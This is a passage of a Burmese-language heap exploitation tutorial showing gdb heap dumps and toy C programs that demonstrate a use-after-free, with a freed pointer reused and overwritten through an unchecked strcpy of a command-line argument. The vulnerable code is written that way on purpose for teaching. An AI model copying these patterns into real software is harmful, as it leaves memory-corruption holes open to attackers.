0x804b070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0d0:      0x00000000      0x00000000      0x00000000      0x00000000
=> 0x804857f <main+228>:        add    esp,0x10
   0x8048582 <main+231>:        sub    esp,0xc
   0x8048585 <main+234>:        push   DWORD PTR [ebp-0xc]

Final free

gdb-peda$
0x804b000:      0x00000000      0x00000011      0x00000000      0x00000000
0x804b010:      0x00000000      0x00000011      0x0804b000      0x00000000
0x804b020:      0x00000000      0x00000011      0x0804b010      0x00000000
0x804b030:      0x00000000      0x00000011      0x0804b020      0x00000000
0x804b040:      0x00000000      0x00000409      0x65657246      0x2e676e69
0x804b050:      0x620a2e2e      0x0a383330      0x00000000      0x00000000
0x804b060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0d0:      0x00000000      0x00000000      0x00000000      0x00000000

malloc ေတြျပန္လုပ္တဲ့အခါ

ေနာက္ဆံုး free လုပ္ခဲ့တဲ့ဆီကေန allocate ျပန္လုပ္သြားတယ္

Use After free 
a -> 0x804b038 
b -> 0x804b028 
c -> 0x804b018 
d -> 0x804b008

ဒီလိုဆိုနားလည္ျပီ  ။ ဘယ္လို exploit လုပ္မလဲ ?

အလြယ္ေလးပဲေရးမယ္ေနာ္ ။ မ်က္စိထဲမရွုပ္ေစခ်င္ဘူး။ CTF ေျဖတာေတြ real ေတြကေတာ့ခက္မွာပဲ ။ အခုေတာ့ရွင္းေလေကာင္းေလပဲ 😀

#include <stdio.h>
int main(int argc, char **argv)
{
        char *checkpoint=malloc(8);
        printf("checkpoint allocated at -> %p\n",checkpoint);
        printf("freed checkpoint\n");
        free(checkpoint);
        char *input=malloc(8);
        printf("input allocated at -> %p\n",input);
        strcpy(input,argv[1]);

        if(checkpoint)
        {
                printf("Nice xD\n");
        }
}

၂ ခုလံုးက တစ္ေနရာတည္း point လုပ္ေနမွေတာ့ က်ေနာ္တို႕ modify လုပ္နိုင္တာေပါ့။ ဒီလုိုဆို အေပၚက challenge ကိုေျဖထားတာပါ ပိုနားလည္သြားပါလိမ့္မယ္။

root@exploitdev:~/Heap# ./uaf_exp AAA
checkpoint allocated at -> 0x804b008
freed checkpoint
input allocated at -> 0x804b008
Nice xD

Modifying variable

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
        char *checkpoint=malloc(8);
        printf("checkpoint allocated at -> %p\n",checkpoint);
        printf("freed checkpoint\n");
        free(checkpoint);
        char *input=malloc(8);
        printf("input allocated at -> %p\n",input);
        strcpy(input,argv[1]);
        printf("*checkpoint = %x\n",*checkpoint);
        printf("*input = %x\n",*input);
        if(*checkpoint==0x31)
        {
                printf("Nice xD\n");
        }
}

Result

root@exploitdev:~/Heap# ./uaf_exp 1
checkpoint allocated at -> 0x804b008
freed checkpoint
input allocated at -> 0x804b008
*checkpoint = 31
*input = 31
Nice xD

Error result

root@exploitdev:~/Heap# ./uaf_exp a
checkpoint allocated at -> 0x804b008
freed checkpoint
input allocated at -> 0x804b008
*checkpoint = 61
*input = 61

Thanks